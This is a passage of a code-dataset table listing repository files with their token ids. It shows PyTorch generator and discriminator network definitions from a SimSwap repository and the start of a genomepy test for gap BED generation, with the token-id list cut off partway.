max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
models/fs_networks.py | RaghavaDhanya/SimSwap | 2 | 1615664 | <filename>models/fs_networks.py
"""
Copyright (C) 2019 NVIDIA Corporation. All rights reserved.
Licensed under the CC BY-NC-SA 4.0 license (https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode).
"""
import torch
import torch.nn as nn
class InstanceNorm(nn.Module):
def __init__(self, epsilon=1e-8):
"""
@notice: avoid in-place ops.
https://discuss.pytorch.org/t/encounter-the-runtimeerror-one-of-the-variables-needed-for-gradient-computation-has-been-modified-by-an-inplace-operation/836/3
"""
super(InstanceNorm, self).__init__()
self.epsilon = epsilon
def forward(self, x):
x = x - torch.mean(x, (2, 3), True)
tmp = torch.mul(x, x) # or x ** 2
tmp = torch.rsqrt(torch.mean(tmp, (2, 3), True) + self.epsilon)
return x * tmp
class ApplyStyle(nn.Module):
"""
@ref: https://github.com/lernapparat/lernapparat/blob/master/style_gan/pytorch_style_gan.ipynb
"""
def __init__(self, latent_size, channels):
super(ApplyStyle, self).__init__()
self.linear = nn.Linear(latent_size, channels * 2)
def forward(self, x, latent):
style = self.linear(latent) # style => [batch_size, n_channels*2]
shape = [-1, 2, x.size(1), 1, 1]
style = style.view(shape) # [batch_size, 2, n_channels, ...]
#x = x * (style[:, 0] + 1.) + style[:, 1]
x = x * (style[:, 0] * 1 + 1.) + style[:, 1] * 1
return x
class ResnetBlock_Adain(nn.Module):
def __init__(self, dim, latent_size, padding_type, activation=nn.ReLU(True)):
super(ResnetBlock_Adain, self).__init__()
p = 0
conv1 = []
if padding_type == 'reflect':
conv1 += [nn.ReflectionPad2d(1)]
elif padding_type == 'replicate':
conv1 += [nn.ReplicationPad2d(1)]
elif padding_type == 'zero':
p = 1
else:
raise NotImplementedError('padding [%s] is not implemented' % padding_type)
conv1 += [nn.Conv2d(dim, dim, kernel_size=3, padding = p), InstanceNorm()]
self.conv1 = nn.Sequential(*conv1)
self.style1 = ApplyStyle(latent_size, dim)
self.act1 = activation
p = 0
conv2 = []
if padding_type == 'reflect':
conv2 += [nn.ReflectionPad2d(1)]
elif padding_type == 'replicate':
conv2 += [nn.ReplicationPad2d(1)]
elif padding_type == 'zero':
p = 1
else:
raise NotImplementedError('padding [%s] is not implemented' % padding_type)
conv2 += [nn.Conv2d(dim, dim, kernel_size=3, padding=p), InstanceNorm()]
self.conv2 = nn.Sequential(*conv2)
self.style2 = ApplyStyle(latent_size, dim)
def forward(self, x, dlatents_in_slice):
y = self.conv1(x)
y = self.style1(y, dlatents_in_slice)
y = self.act1(y)
y = self.conv2(y)
y = self.style2(y, dlatents_in_slice)
out = x + y
return out
class Generator_Adain_Upsample(nn.Module):
def __init__(self, input_nc, output_nc, latent_size, n_blocks=6, deep=False,
norm_layer=nn.BatchNorm2d,
padding_type='reflect'):
assert (n_blocks >= 0)
super(Generator_Adain_Upsample, self).__init__()
activation = nn.ReLU(True)
self.deep = deep
self.first_layer = nn.Sequential(nn.ReflectionPad2d(3), nn.Conv2d(input_nc, 64, kernel_size=7, padding=0),
norm_layer(64), activation)
### downsample
self.down1 = nn.Sequential(nn.Conv2d(64, 128, kernel_size=3, stride=2, padding=1),
norm_layer(128), activation)
self.down2 = nn.Sequential(nn.Conv2d(128, 256, kernel_size=3, stride=2, padding=1),
norm_layer(256), activation)
self.down3 = nn.Sequential(nn.Conv2d(256, 512, kernel_size=3, stride=2, padding=1),
norm_layer(512), activation)
if self.deep:
self.down4 = nn.Sequential(nn.Conv2d(512, 512, kernel_size=3, stride=2, padding=1),
norm_layer(512), activation)
### resnet blocks
BN = []
for i in range(n_blocks):
BN += [
ResnetBlock_Adain(512, latent_size=latent_size, padding_type=padding_type, activation=activation)]
self.BottleNeck = nn.Sequential(*BN)
if self.deep:
self.up4 = nn.Sequential(
nn.Upsample(scale_factor=2, mode='bilinear'),
nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),
nn.BatchNorm2d(512), activation
)
self.up3 = nn.Sequential(
nn.Upsample(scale_factor=2, mode='bilinear'),
nn.Conv2d(512, 256, kernel_size=3, stride=1, padding=1),
nn.BatchNorm2d(256), activation
)
self.up2 = nn.Sequential(
nn.Upsample(scale_factor=2, mode='bilinear'),
nn.Conv2d(256, 128, kernel_size=3, stride=1, padding=1),
nn.BatchNorm2d(128), activation
)
self.up1 = nn.Sequential(
nn.Upsample(scale_factor=2, mode='bilinear'),
nn.Conv2d(128, 64, kernel_size=3, stride=1, padding=1),
nn.BatchNorm2d(64), activation
)
self.last_layer = nn.Sequential(nn.ReflectionPad2d(3), nn.Conv2d(64, output_nc, kernel_size=7, padding=0),
nn.Tanh())
def forward(self, input, dlatents):
x = input # 3*224*224
skip1 = self.first_layer(x)
skip2 = self.down1(skip1)
skip3 = self.down2(skip2)
if self.deep:
skip4 = self.down3(skip3)
x = self.down4(skip4)
else:
x = self.down3(skip3)
for i in range(len(self.BottleNeck)):
x = self.BottleNeck[i](x, dlatents)
if self.deep:
x = self.up4(x)
x = self.up3(x)
x = self.up2(x)
x = self.up1(x)
x = self.last_layer(x)
x = (x + 1) / 2
return x
class Discriminator(nn.Module):
def __init__(self, input_nc, norm_layer=nn.BatchNorm2d, use_sigmoid=False):
super(Discriminator, self).__init__()
kw = 4
padw = 1
self.down1 = nn.Sequential(
nn.Conv2d(input_nc, 64, kernel_size=kw, stride=2, padding=padw), nn.LeakyReLU(0.2, True)
)
self.down2 = nn.Sequential(
nn.Conv2d(64, 128, kernel_size=kw, stride=2, padding=padw),
norm_layer(128), nn.LeakyReLU(0.2, True)
)
self.down3 = nn.Sequential(
nn.Conv2d(128, 256, kernel_size=kw, stride=2, padding=padw),
norm_layer(256), nn.LeakyReLU(0.2, True)
)
self.down4 = nn.Sequential(
nn.Conv2d(256, 512, kernel_size=kw, stride=2, padding=padw),
norm_layer(512), nn.LeakyReLU(0.2, True)
)
self.conv1 = nn.Sequential(
nn.Conv2d(512, 512, kernel_size=kw, stride=1, padding=padw),
norm_layer(512),
nn.LeakyReLU(0.2, True)
)
if use_sigmoid:
self.conv2 = nn.Sequential(
nn.Conv2d(512, 1, kernel_size=kw, stride=1, padding=padw), nn.Sigmoid()
)
else:
self.conv2 = nn.Sequential(
nn.Conv2d(512, 1, kernel_size=kw, stride=1, padding=padw)
)
def forward(self, input):
out = []
x = self.down1(input)
out.append(x)
x = self.down2(x)
out.append(x)
x = self.down3(x)
out.append(x)
x = self.down4(x)
out.append(x)
x = self.conv1(x)
out.append(x)
x = self.conv2(x)
out.append(x)
return out | [
1,
529,
9507,
29958,
9794,
29914,
5847,
29918,
11618,
29879,
29889,
2272,
13,
15945,
29908,
13,
11882,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29929,
405,
13044,
10764,
15025,
29889,
29871,
2178,
10462,
21676,
29889,
13,
29931,
293,
21144,
1090,
278,
19178,
6770,
29899,
15868,
29899,
8132,
29871,
29946,
29889,
29900,
19405,
313,
991,
597,
1037,
1230,
22382,
29889,
990,
29914,
506,
11259,
29914,
1609,
29899,
17608,
29899,
4977,
29914,
29946,
29889,
29900,
29914,
12018,
401,
467,
13,
15945,
29908,
13,
13,
5215,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
13,
13,
1990,
2799,
749,
29940,
555,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
321,
3232,
29922,
29896,
29872,
29899,
29947,
1125,
13,
4706,
9995,
13,
9651,
732,
1333,
625,
29901,
4772,
297,
29899,
6689,
288,
567,
29889,
13,
9651,
2045,
597,
2218,
13571,
29889,
2272,
7345,
305,
29889,
990,
29914,
29873,
29914,
3977,
5336,
29899,
1552,
29899,
15634,
2704,
29899,
650,
29899,
974,
29899,
1552,
29899,
20897,
29899,
484,
19226,
29899,
1454,
29899,
24970,
29899,
12097,
362,
29899,
5349,
29899,
915,
264,
29899,
1545,
2164,
29899,
1609,
29899,
273,
29899,
262,
6689,
29899,
16453,
29914,
29947,
29941,
29953,
29914,
29941,
13,
4706,
9995,
13,
4706,
2428,
29898,
4998,
29940,
555,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
5463,
353,
321,
3232,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
921,
259,
353,
921,
448,
4842,
305,
29889,
12676,
29898,
29916,
29892,
313,
29906,
29892,
29871,
29941,
511,
5852,
29897,
13,
4706,
13128,
353,
4842,
305,
29889,
16109,
29898,
29916,
29892,
921,
29897,
396,
470,
921,
3579,
29871,
29906,
13,
4706,
13128,
353,
4842,
305,
29889,
2288,
29939,
2273,
29898,
7345,
305,
29889,
12676,
29898,
7050,
29892,
313,
29906,
29892,
29871,
29941,
511,
5852,
29897,
718,
1583,
29889,
5463,
29897,
13,
4706,
736,
921,
334,
13128,
13,
13,
1990,
2401,
368,
5568,
29898,
15755,
29889,
7355,
1125,
13,
1678,
9995,
13,
4706,
732,
999,
29901,
2045,
597,
3292,
29889,
510,
29914,
29880,
824,
932,
279,
271,
29914,
29880,
824,
932,
279,
271,
29914,
10054,
29914,
6207,
29914,
3293,
29918,
6249,
29914,
2272,
7345,
305,
29918,
3293,
29918,
6249,
29889,
666,
948,
29890,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3405,
296,
29918,
2311,
29892,
18196,
1125,
13,
4706,
2428,
29898,
2052,
368,
5568,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
10660,
353,
302,
29876,
29889,
12697,
29898,
5066,
296,
29918,
2311,
29892,
18196,
334,
29871,
29906,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29892,
3405,
296,
1125,
13,
4706,
3114,
353,
1583,
29889,
10660,
29898,
5066,
296,
29897,
29871,
396,
3114,
1149,
518,
16175,
29918,
2311,
29892,
302,
29918,
305,
12629,
29930,
29906,
29962,
13,
4706,
8267,
353,
21069,
29896,
29892,
29871,
29906,
29892,
921,
29889,
2311,
29898,
29896,
511,
29871,
29896,
29892,
29871,
29896,
29962,
13,
4706,
3114,
353,
3114,
29889,
1493,
29898,
12181,
29897,
1678,
396,
518,
16175,
29918,
2311,
29892,
29871,
29906,
29892,
302,
29918,
305,
12629,
29892,
2023,
29962,
13,
4706,
396,
29916,
353,
921,
334,
313,
3293,
7503,
29892,
29871,
29900,
29962,
718,
29871,
29896,
1846,
718,
3114,
7503,
29892,
29871,
29896,
29962,
13,
4706,
921,
353,
921,
334,
313,
3293,
7503,
29892,
29871,
29900,
29962,
334,
29871,
29896,
718,
29871,
29896,
1846,
718,
3114,
7503,
29892,
29871,
29896,
29962,
334,
29871,
29896,
13,
4706,
736,
921,
13,
13,
1990,
2538,
1212,
7445,
29918,
3253,
475,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3964,
29892,
3405,
296,
29918,
2311,
29892,
7164,
29918,
1853,
29892,
26229,
29922,
15755,
29889,
1123,
29931,
29965,
29898,
5574,
22164,
13,
4706,
2428,
29898,
1666,
1212,
7445,
29918,
3253,
475,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
13,
4706,
282,
353,
29871,
29900,
13,
4706,
7602,
29896,
353,
5159,
13,
4706,
565,
7164,
29918,
1853,
1275,
525,
13191,
2396,
13,
9651,
7602,
29896,
4619,
518,
15755,
29889,
5620,
1464,
20369,
29906,
29881,
29898,
29896,
4638,
13,
4706,
25342,
7164,
29918,
1853,
1275,
525,
3445,
5926,
2396,
13,
9651,
7602,
29896,
4619,
518,
15755,
29889,
5612,
1414,
20369,
29906,
29881,
29898,
29896,
4638,
13,
4706,
25342,
7164,
29918,
1853,
1275,
525,
9171,
2396,
13,
9651,
282,
353,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
12020,
2216,
1888,
2037,
287,
2392,
877,
12791,
518,
29995,
29879,
29962,
338,
451,
8762,
29915,
1273,
7164,
29918,
1853,
29897,
13,
4706,
7602,
29896,
4619,
518,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
6229,
29892,
3964,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
7164,
353,
282,
511,
2799,
749,
29940,
555,
580,
29962,
13,
4706,
1583,
29889,
20580,
29896,
353,
302,
29876,
29889,
16941,
2556,
10456,
20580,
29896,
29897,
13,
4706,
1583,
29889,
3293,
29896,
353,
2401,
368,
5568,
29898,
5066,
296,
29918,
2311,
29892,
3964,
29897,
13,
4706,
1583,
29889,
627,
29896,
353,
26229,
13,
13,
4706,
282,
353,
29871,
29900,
13,
4706,
7602,
29906,
353,
5159,
13,
4706,
565,
7164,
29918,
1853,
1275,
525,
13191,
2396,
13,
9651,
7602,
29906,
4619,
518,
15755,
29889,
5620,
1464,
20369,
29906,
29881,
29898,
29896,
4638,
13,
4706,
25342,
7164,
29918,
1853,
1275,
525,
3445,
5926,
2396,
13,
9651,
7602,
29906,
4619,
518,
15755,
29889,
5612,
1414,
20369,
29906,
29881,
29898,
29896,
4638,
13,
4706,
25342,
7164,
29918,
1853,
1275,
525,
9171,
2396,
13,
9651,
282,
353,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
12020,
2216,
1888,
2037,
287,
2392,
877,
12791,
518,
29995,
29879,
29962,
338,
451,
8762,
29915,
1273,
7164,
29918,
1853,
29897,
13,
4706,
7602,
29906,
4619,
518,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
6229,
29892,
3964,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
7164,
29922,
29886,
511,
2799,
749,
29940,
555,
580,
29962,
13,
4706,
1583,
29889,
20580,
29906,
353,
302,
29876,
29889,
16941,
2556,
10456,
20580,
29906,
29897,
13,
4706,
1583,
29889,
3293,
29906,
353,
2401,
368,
5568,
29898,
5066,
296,
29918,
2311,
29892,
3964,
29897,
13,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29892,
270,
5066,
1237,
29918,
262,
29918,
18337,
1125,
13,
4706,
343,
353,
1583,
29889,
20580,
29896,
29898,
29916,
29897,
13,
4706,
343,
353,
1583,
29889,
3293,
29896,
29898,
29891,
29892,
270,
5066,
1237,
29918,
262,
29918,
18337,
29897,
13,
4706,
343,
353,
1583,
29889,
627,
29896,
29898,
29891,
29897,
13,
4706,
343,
353,
1583,
29889,
20580,
29906,
29898,
29891,
29897,
13,
4706,
343,
353,
1583,
29889,
3293,
29906,
29898,
29891,
29892,
270,
5066,
1237,
29918,
262,
29918,
18337,
29897,
13,
4706,
714,
353,
921,
718,
343,
13,
4706,
736,
714,
13,
13,
13,
13,
1990,
3251,
1061,
29918,
3253,
475,
29918,
29965,
567,
981,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1881,
29918,
17608,
29892,
1962,
29918,
17608,
29892,
3405,
296,
29918,
2311,
29892,
302,
29918,
1271,
29879,
29922,
29953,
29892,
6483,
29922,
8824,
29892,
13,
462,
6056,
29918,
13148,
29922,
15755,
29889,
23145,
29940,
555,
29906,
29881,
29892,
13,
462,
7164,
29918,
1853,
2433,
13191,
29374,
13,
4706,
4974,
313,
29876,
29918,
1271,
29879,
6736,
29871,
29900,
29897,
13,
4706,
2428,
29898,
21575,
29918,
3253,
475,
29918,
29965,
567,
981,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
26229,
353,
302,
29876,
29889,
1123,
29931,
29965,
29898,
5574,
29897,
13,
4706,
1583,
29889,
24535,
353,
6483,
13,
13,
4706,
1583,
29889,
4102,
29918,
13148,
353,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
5620,
1464,
20369,
29906,
29881,
29898,
29941,
511,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
2080,
29918,
17608,
29892,
29871,
29953,
29946,
29892,
8466,
29918,
2311,
29922,
29955,
29892,
7164,
29922,
29900,
511,
13,
462,
462,
308,
6056,
29918,
13148,
29898,
29953,
29946,
511,
26229,
29897,
13,
4706,
835,
1623,
11249,
13,
4706,
1583,
29889,
3204,
29896,
353,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
29953,
29946,
29892,
29871,
29896,
29906,
29947,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
29896,
511,
13,
462,
462,
259,
6056,
29918,
13148,
29898,
29896,
29906,
29947,
511,
26229,
29897,
13,
4706,
1583,
29889,
3204,
29906,
353,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
29896,
29906,
29947,
29892,
29871,
29906,
29945,
29953,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
29896,
511,
13,
462,
462,
259,
6056,
29918,
13148,
29898,
29906,
29945,
29953,
511,
26229,
29897,
13,
4706,
1583,
29889,
3204,
29941,
353,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
29906,
29945,
29953,
29892,
29871,
29945,
29896,
29906,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
29896,
511,
13,
462,
462,
259,
6056,
29918,
13148,
29898,
29945,
29896,
29906,
511,
26229,
29897,
13,
4706,
565,
1583,
29889,
24535,
29901,
13,
9651,
1583,
29889,
3204,
29946,
353,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
29896,
29906,
29892,
29871,
29945,
29896,
29906,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
29896,
511,
13,
462,
462,
539,
6056,
29918,
13148,
29898,
29945,
29896,
29906,
511,
26229,
29897,
13,
13,
4706,
835,
620,
1212,
10930,
13,
4706,
350,
29940,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29876,
29918,
1271,
29879,
1125,
13,
9651,
350,
29940,
4619,
518,
13,
18884,
2538,
1212,
7445,
29918,
3253,
475,
29898,
29945,
29896,
29906,
29892,
3405,
296,
29918,
2311,
29922,
5066,
296,
29918,
2311,
29892,
7164,
29918,
1853,
29922,
12791,
29918,
1853,
29892,
26229,
29922,
11236,
362,
4638,
13,
4706,
1583,
29889,
29933,
1501,
280,
8139,
384,
353,
302,
29876,
29889,
16941,
2556,
10456,
29933,
29940,
29897,
13,
13,
4706,
565,
1583,
29889,
24535,
29901,
13,
9651,
1583,
29889,
786,
29946,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
18884,
302,
29876,
29889,
29965,
567,
981,
29898,
7052,
29918,
19790,
29922,
29906,
29892,
4464,
2433,
18152,
457,
279,
5477,
13,
18884,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
29896,
29906,
29892,
29871,
29945,
29896,
29906,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
29896,
511,
13,
18884,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
29945,
29896,
29906,
511,
26229,
13,
9651,
1723,
13,
4706,
1583,
29889,
786,
29941,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
29965,
567,
981,
29898,
7052,
29918,
19790,
29922,
29906,
29892,
4464,
2433,
18152,
457,
279,
5477,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
29896,
29906,
29892,
29871,
29906,
29945,
29953,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
29896,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
29906,
29945,
29953,
511,
26229,
13,
4706,
1723,
13,
4706,
1583,
29889,
786,
29906,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
29965,
567,
981,
29898,
7052,
29918,
19790,
29922,
29906,
29892,
4464,
2433,
18152,
457,
279,
5477,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29906,
29945,
29953,
29892,
29871,
29896,
29906,
29947,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
29896,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
29896,
29906,
29947,
511,
26229,
13,
4706,
1723,
13,
4706,
1583,
29889,
786,
29896,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
29965,
567,
981,
29898,
7052,
29918,
19790,
29922,
29906,
29892,
4464,
2433,
18152,
457,
279,
5477,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29896,
29906,
29947,
29892,
29871,
29953,
29946,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
29896,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
29953,
29946,
511,
26229,
13,
4706,
1723,
13,
4706,
1583,
29889,
4230,
29918,
13148,
353,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
5620,
1464,
20369,
29906,
29881,
29898,
29941,
511,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29953,
29946,
29892,
1962,
29918,
17608,
29892,
8466,
29918,
2311,
29922,
29955,
29892,
7164,
29922,
29900,
511,
13,
462,
462,
4706,
302,
29876,
29889,
29911,
27731,
3101,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
1881,
29892,
270,
5066,
1237,
1125,
13,
4706,
921,
353,
1881,
29871,
396,
29871,
29941,
29930,
29906,
29906,
29946,
29930,
29906,
29906,
29946,
13,
13,
4706,
14383,
29896,
353,
1583,
29889,
4102,
29918,
13148,
29898,
29916,
29897,
13,
4706,
14383,
29906,
353,
1583,
29889,
3204,
29896,
29898,
11014,
29896,
29897,
13,
4706,
14383,
29941,
353,
1583,
29889,
3204,
29906,
29898,
11014,
29906,
29897,
13,
4706,
565,
1583,
29889,
24535,
29901,
13,
9651,
14383,
29946,
353,
1583,
29889,
3204,
29941,
29898,
11014,
29941,
29897,
13,
9651,
921,
353,
1583,
29889,
3204,
29946,
29898,
11014,
29946,
29897,
13,
4706,
1683,
29901,
13,
9651,
921,
353,
1583,
29889,
3204,
29941,
29898,
11014,
29941,
29897,
13,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
29933,
1501,
280,
8139,
384,
22164,
13,
9651,
921,
353,
1583,
29889,
29933,
1501,
280,
8139,
384,
29961,
29875,
850,
29916,
29892,
270,
5066,
1237,
29897,
13,
13,
4706,
565,
1583,
29889,
24535,
29901,
13,
9651,
921,
353,
1583,
29889,
786,
29946,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
786,
29941,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
786,
29906,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
786,
29896,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
4230,
29918,
13148,
29898,
29916,
29897,
13,
4706,
921,
353,
313,
29916,
718,
29871,
29896,
29897,
847,
29871,
29906,
13,
13,
4706,
736,
921,
13,
13,
1990,
8565,
20386,
1061,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1881,
29918,
17608,
29892,
6056,
29918,
13148,
29922,
15755,
29889,
23145,
29940,
555,
29906,
29881,
29892,
671,
29918,
18816,
29885,
3398,
29922,
8824,
1125,
13,
4706,
2428,
29898,
4205,
29883,
20386,
1061,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
13,
4706,
9049,
353,
29871,
29946,
13,
4706,
17132,
29893,
353,
29871,
29896,
13,
4706,
1583,
29889,
3204,
29896,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
2080,
29918,
17608,
29892,
29871,
29953,
29946,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
8305,
29893,
511,
302,
29876,
29889,
3226,
557,
29891,
1123,
29931,
29965,
29898,
29900,
29889,
29906,
29892,
5852,
29897,
13,
4706,
1723,
13,
4706,
1583,
29889,
3204,
29906,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29953,
29946,
29892,
29871,
29896,
29906,
29947,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
8305,
29893,
511,
13,
9651,
6056,
29918,
13148,
29898,
29896,
29906,
29947,
511,
302,
29876,
29889,
3226,
557,
29891,
1123,
29931,
29965,
29898,
29900,
29889,
29906,
29892,
5852,
29897,
13,
4706,
1723,
13,
4706,
1583,
29889,
3204,
29941,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29896,
29906,
29947,
29892,
29871,
29906,
29945,
29953,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
8305,
29893,
511,
13,
9651,
6056,
29918,
13148,
29898,
29906,
29945,
29953,
511,
302,
29876,
29889,
3226,
557,
29891,
1123,
29931,
29965,
29898,
29900,
29889,
29906,
29892,
5852,
29897,
13,
4706,
1723,
13,
4706,
1583,
29889,
3204,
29946,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29906,
29945,
29953,
29892,
29871,
29945,
29896,
29906,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29906,
29892,
7164,
29922,
8305,
29893,
511,
13,
9651,
6056,
29918,
13148,
29898,
29945,
29896,
29906,
511,
302,
29876,
29889,
3226,
557,
29891,
1123,
29931,
29965,
29898,
29900,
29889,
29906,
29892,
5852,
29897,
13,
4706,
1723,
13,
4706,
1583,
29889,
20580,
29896,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
29896,
29906,
29892,
29871,
29945,
29896,
29906,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
8305,
29893,
511,
13,
9651,
6056,
29918,
13148,
29898,
29945,
29896,
29906,
511,
13,
9651,
302,
29876,
29889,
3226,
557,
29891,
1123,
29931,
29965,
29898,
29900,
29889,
29906,
29892,
5852,
29897,
13,
4706,
1723,
13,
13,
4706,
565,
671,
29918,
18816,
29885,
3398,
29901,
13,
9651,
1583,
29889,
20580,
29906,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
18884,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
29896,
29906,
29892,
29871,
29896,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
8305,
29893,
511,
302,
29876,
29889,
29903,
335,
29885,
3398,
580,
13,
9651,
1723,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
20580,
29906,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
18884,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
29896,
29906,
29892,
29871,
29896,
29892,
8466,
29918,
2311,
29922,
11022,
29892,
380,
2426,
29922,
29896,
29892,
7164,
29922,
8305,
29893,
29897,
13,
9651,
1723,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
1881,
1125,
13,
4706,
714,
353,
5159,
13,
4706,
921,
353,
1583,
29889,
3204,
29896,
29898,
2080,
29897,
13,
4706,
714,
29889,
4397,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
3204,
29906,
29898,
29916,
29897,
13,
4706,
714,
29889,
4397,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
3204,
29941,
29898,
29916,
29897,
13,
4706,
714,
29889,
4397,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
3204,
29946,
29898,
29916,
29897,
13,
4706,
714,
29889,
4397,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
20580,
29896,
29898,
29916,
29897,
13,
4706,
714,
29889,
4397,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
20580,
29906,
29898,
29916,
29897,
13,
4706,
714,
29889,
4397,
29898,
29916,
29897,
13,
308,
13,
4706,
736,
714,
2
] |
tests/test_7_gaps.py | alienzj/genomepy | 0 | 88320 | from tempfile import NamedTemporaryFile
from genomepy.utils import generate_gap_bed
def test_gaps():
infa = "tests/data/gap.fa"
outbed = "tests/data/gap.bed"
tmp = NamedTemporaryFile().name
generate_gap_bed(infa, tmp)
result = open(tmp).read()
expect = open(outbed).read()
assert result == expect
| [
1,
515,
5694,
1445,
1053,
405,
2795,
5776,
1971,
653,
2283,
13,
3166,
2531,
608,
2272,
29889,
13239,
1053,
5706,
29918,
29887,
481,
29918,
2580,
13,
13,
13,
1753,
1243,
29918,
29887,
2547,
7295,
13,
1678,
3041,
29874,
353,
376,
21150,
29914,
1272,
29914,
29887,
481,
29889,
5444,
29908,
13,
1678,
714,
2580,
353,
376,
21150,
29914,
1272,
29914,
29887,
481,
29889,
2580,
29908,
13,
13,
1678,
13128,
353,
405,
2795,
5776,
